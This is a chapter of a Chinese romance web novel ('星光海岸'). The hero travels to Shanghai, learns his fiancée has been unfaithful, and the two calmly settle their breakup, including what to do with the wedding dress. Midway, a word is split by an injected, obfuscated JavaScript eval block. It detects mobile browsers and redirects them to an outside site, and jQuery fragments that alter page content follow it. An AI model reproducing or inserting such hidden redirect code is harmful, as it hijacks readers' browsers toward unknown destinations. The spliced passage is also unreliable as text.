8.月亮响,潮水涨

作品:《星光海岸

    林在堂信任孟若星。她虽任性,但有底线。她说的是气话。但联系不上孟若星令他实在煎熬,思量再三,打给孟若星母亲,对方则说女儿自己出门散心了。老人还在电话里说:是不是又吵架啦?若星任性,你多包容。她还没收心,或许是也被她爸爸逼烦了,总之很多事急不得。林在堂应承着,放心了一点。


    他刚刚接手星光灯饰,上千号人都等着吃饭。这条变革之路不好走,他内心十分焦虑。又恰逢此时年末,多少难关要过,事事都牵扯他。


    这一天婚纱店给他电话,说婚纱按要求改好了,要他去取。林在堂想到孟若星试穿婚纱的样子,心热了一下,瞬间原谅了过去几日的种种。他给孟若星发消息:别生气了,婚纱做好了,我去取。一辈子那么长呢,你以后慢慢收拾我。


    尽管孟若星仍旧没有回他,却并未浇灭他满腔的热情,点灯熬油处理工作,只想尽快结束眼前的事情,去上海接回心爱的姑娘,和那件漂亮的婚纱。


    林在堂是在周五晚上出发的,到上海已是深夜。孟若星在上海的住处是在静安路上,很多年前他父亲在上海置办的产业。林在堂很喜欢那条路的夜晚。那充满了老上海的味道。那个晚上他像往常去孟若星家里,走了长长一段路。期间他给孟若星打了几个电话,她都没有接。


    恋爱数年,他知晓孟若星的脾气,倘若她生气,那一定是要别人低下头去哄。林在堂实在不愿低头,但因为真心爱着孟若星,所以无论谁对谁错,他都担下。


    那一路他都在想着说辞,当他走到孟若星家楼下的时候,竟然看到孟若星站在那里等他。


    “进去说吧,我好累。”林在堂说。连日工作,又开了6个小时夜车,才赶到她面前。他觉得自己的能量耗尽了,他需要抱抱孟若星。


    “我知道。你辛苦了。”孟若星挡在林在堂面前,不让他上楼。林在堂有些困惑,抬头望去,看到孟若星那个漂亮的阳台上亮着昏黄的灯,一个男人站在那里抽烟看着他们。


    男人顺手弹落一截长长的烟灰,林在堂看到那烟灰在空中散了架,被一阵风吹了去,消失无踪了。


    他说不清是什么感觉,也不想轻易开口,只是看着孟若星。从前他以为自己足够了解她,在他设想的那些将来里,孟若星永远有一席之地。直到此刻,他都不肯相信孟若星真的爱上了别人。他不信这世界上竟当真会有这样狗血淋头的事情,偏巧这事情又落到他头上。


    “林在堂,咱们分手吧。”孟若星叹了口气。她说不清自己的感受,起初是真的没有什么,似乎只是一些超越了礼貌界限的对话。但那天吵架后她连夜来到上海,后面发生的一切,她说不清是在与林在堂较劲还是什么,总之,孟若星与别人在一起了。


    这样的说法足够委婉,好像在为自己开脱,孟若星不喜欢。她是一个足够自由的人,拥有着野性自由的灵魂。可她长久以来都被林在堂的爱情禁锢着,她也想看看别的男人是什么样。哪怕是在他们即将修成正果的时候。


    林在堂察觉到一把火气从他的脚底升起,一直熊熊烧到他头顶。但他仍旧强压下来,不可置信地问孟若星:“什么意思?”


    “我的意思是我们分手吧。如果你一定要问我原因,大概是因为我虽然还爱着你,但不那么深刻了。”孟若星没有说谎,她承认跟那人最开始只是冲动之举,但很快,她意识到了她拥有了十年的林在堂并没有那么稀奇了。这大概就是别人常说的,爱情会消失,慢慢只剩下亲情或类似的东西。


    孟若星一直都知道自己要什么,哪怕对面是林在堂,是很多姑娘为之彻夜难眠的林在堂,她也不想要了。后面的事情她也因此不顾了,海州小城的婚礼、他们未来穿越世界的旅行计划,这些都不重要了。


    在她消失的这几天里,她头脑中天人交战,她一边谴责自己的不负责任和不忠,一边为那些背离道德的刺激感、新鲜感着迷。最后孟若星意识到,她压根就不甘心自己的生活如此平淡,所以才会一直一直与林在堂闹。


    林在堂一直没有讲话。他的嘴唇紧抿着,但抑制不住地颤抖。他生平第一次长久地爱着一个人,并没想过是这样的下场。他只是看着孟若星,想从她的脸上找到一丝她在玩笑的证据,或是只是在惩罚他这一次没有及时哄她的气愤。但什么都没有。


    孟若星只是站在那,她不怕林在堂会做出什么过激的举动来。在这个世界上任何人都会发疯,但绅士林在堂不会。他最多会砸碎她的杯子而已。


    如果他为我发疯,那我或许会回头的。这个念头在孟若星的头脑之中一闪而过。


    那么,林在堂会吗?


    她看着林在堂,隐隐期待着一场爆发。她当然知道林在堂爱她,也是这十年来始终如一的爱培养了她在爱里的刁钻跋扈。她倒是希望林在堂能灭一灭她的“威风”。


    但林在堂没有。孟若星有些失望。


    他没有失恋过,虽然脑海里有很多自毁的念头,但想到站在她阳台抽烟的男人,他便不想如此。即便心里有千言万语,但到了这个关头,事实已经如此清晰,他的底线已经被践踏。他就再做不出摇尾乞怜的事了。


    他将眼镜摘下来,用手帕去擦。这才体会到,在上海冬日的街头,倘若你眼睛里因为积蓄了两汪泪水而导致眼部温度升高,那么你的镜片会先你一步哭出来,变成雾蒙蒙的两片。


    重新将眼镜戴上,一切恢复如常。


    林家世代经商的基因烙刻在他的骨髓里,此刻他想的是善后——尾货要低价处理、瑕疵品要打折促销,总不能占着库存。那些经双方亲友口传到海州商界口中的婚事该如何处理呢?


    “婚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504739|170051||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    纱是全款不退,那么你要留下还是?”林在堂问。


    “我不要了。”孟若星说。


    “婚礼酒店场地也是全款不退。”他又说。


    “你需要我来承担费用吗?”孟若星问。


    林在堂摇摇头。


    “你还有什么要跟我清算吗?”孟若星问他。


    “谁跟双方家人去说?”林在堂反问。


    “各自去说。”


    “流言蜚语?”


    “别管了。”这句从孟若星口中说出的时候,像连带着一声叹息:“还有要清算的吗?”


    当然没有了,还清算什么?林在堂走的时候并没有回头,但他听到孟若星说:“不过如此。”


    于是他又回头看她。


    “你对我的爱,不过如此。”孟若星这样说,但她的心剧烈疼了起来。她实在不懂,事已至此,林在堂为何仍旧如此平静?他就这样接受了她的背叛吗?


    “那你要我怎样呢?你要我在知道你出轨后去死吗?要我弯下身求你回头吗?孟若星,有一个道理古今通用:一次不忠,终生不用。”他没说什么决然的狠话,不过就是这样一句。但他的目光燃烧着熊熊的怒火。一次不忠,终身不用。转身就离开了。


    他体会到了痛苦。他从小就长在一个不错的环境,尽管父母各有情感问题,但落在他头上的事都是轻飘飘的。此刻他倒是困惑,为什么父母不离婚呢?哦,因为利益。


    林在堂什么都懂,但他做不到父母那样淡泊。他彻夜未眠,也不是,期间他睡了一会儿,但只有十几分钟。那睡眠是绵软无力的,甚至无法抵抗一阵轻微的不易察觉的心绞痛。


    他捂着心口醒来,拿起手机,下意识想给孟若星打个电话。但他没有那样做。


    第二天他去看了婚纱。


    那婚纱是比着孟若星的尺寸严丝合缝制的,真就像她的名字一样,裙摆有灿若星辰的风姿。设计师问他修改意见,并建议最好是女士亲自再来一次,穿到身上才有感觉。


    林在堂说不用了,就这件吧,很好看。


    定制婚纱的包装真是繁复,他看着助理忙活很久,最后将这件“珍宝”小心翼翼放到他车里。而他载着这件可能终身都用不到的婚纱开往海州。


    沿海公路绵延盘亘山间,一望无际的蓝色要将他的眼睛吞没。一半是海,一半是山的沿海公路包容着他。


    12月末的阳光照在他车前,温吞吞的雾一样的湿漉漉的光。他将车开下了公路,拐进了千溪。


    他不知自己为什么拐进了千溪,或许是他累了。


    他停下车,在车上睡着了。好似南柯一梦,睁眼一切成空。他不肯承认自己在梦里痛哭过,只想做出云淡风轻的姿态来。


    他带着那件婚纱,以及即将面对的无数问题,回到了海洲。